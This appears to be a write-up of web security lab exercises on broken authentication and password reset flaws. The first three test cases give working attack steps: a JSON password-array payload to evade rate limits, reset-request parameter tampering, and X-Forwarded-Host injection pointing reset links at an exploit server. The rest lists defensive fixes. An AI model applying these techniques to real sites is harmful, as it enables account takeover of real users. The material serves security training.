Broken Authentication Passwords Labs

Testcase 1

1. Sending Multiple Passwords in a Single Request (JSON-Based Brute Force)

Some applications accept input in JSON format for authentication.

In such scenarios, it is possible to include multiple passwords within a single request. This technique can be used to bypass weak brute-force protections that only restrict the number of requests, rather than the number of credential attempts.

Example Scenario:

  • The username is known.
  • A list of possible passwords is available.
  • The application accepts password input as a JSON array.

Example Payload:

{
  "username": "carlos",
  "password": ["1234567", "password", "myworld", "home"]
}

This approach allows multiple password attempts in a single request, effectively bypassing request-based rate limiting mechanisms.

Testcase 2

2. Password Reset via Parameter Manipulation (Account Takeover)

Lab: Password Reset Broken Logic

In this scenario, we have:

  • Valid user credentials (e.g., wiener / peter)
  • Target victim username (e.g., carlos)

Steps:

  1. Navigate to the Forgot Password functionality.
  2. Submit your own username.
  3. Capture the password reset request using Burp Suite.
  4. Modify the username parameter in the request to the victim's username (carlos).
  5. Forward the request.

Result:

The password reset is applied to the victim's account, leading to account takeover.

TestCase 3

3. Password Reset Poisoning via Middleware (X-Forwarded-Host Attack)

Lab: Password Reset Poisoning via Middleware

This attack leverages improper handling of HTTP headers by backend systems.

Objective:

Manipulate the password reset link sent to the victim so that it points to an attacker-controlled domain.

Steps:

  1. Click on Forgot Password and enter the victim's username.
  2. Intercept the request using Burp Suite.
  3. Inject a malicious header:
X-Forwarded-Host: exploit-server.net

or

X-Forwarded-Host: exploit-0a72009201200a7.exploit-server.net
  1. Forward the request.
  2. Monitor the exploit server logs for the generated reset URL.
  3. Capture the tokenized reset link.
  4. Use the link to set a new password.

Result:

Successful account takeover via password reset poisoning.

TestCase 4

4. Password Reset Token Predictability

Password reset tokens must be random and unpredictable.

Weak Examples:

  • ABCD1234
  • BCDE2345
  • CDEF3456

Such patterns can be easily guessed or brute-forced.

Recommendation:

  • Use cryptographically secure random tokens
  • Ensure sufficient length and entropy

TestCase 5

5. Password Reset Token Expiration

Password reset tokens should have a limited validity period.

Best Practice:

  • Token validity should not exceed 15–30 minutes

Longer validity increases the risk of token misuse.

TestCase 6

6. Password Reset Token Reusability

A password reset token should be single-use only.

Vulnerability:

If the same token works multiple times, it can be reused by attackers.

Fix:

Invalidate the token immediately after successful password reset.

TestCase 7

7. Token Reuse Across Accounts

The application must ensure that a token cannot be reused across different accounts.

Issue:

If a token is not properly bound to a specific user, it may be reused to reset other accounts.

Fix:

  • Bind tokens strictly to user identity
  • Validate token-user mapping on backend

TestCase 8

8. Password Reset Token Leakage via Referrer Header

If a password reset link contains a token in the URL, it may be exposed via the Referrer header when external resources are loaded.

Risk:

Third-party services may capture sensitive tokens.

Mitigation:

  • Avoid loading third-party resources on reset pages
  • Implement strict Referrer-Policy headers

Conclusion

Broken authentication and password reset vulnerabilities remain one of the most critical security issues in web applications.

Proper implementation, secure token handling, and strong validation mechanisms are essential to prevent account takeover attacks.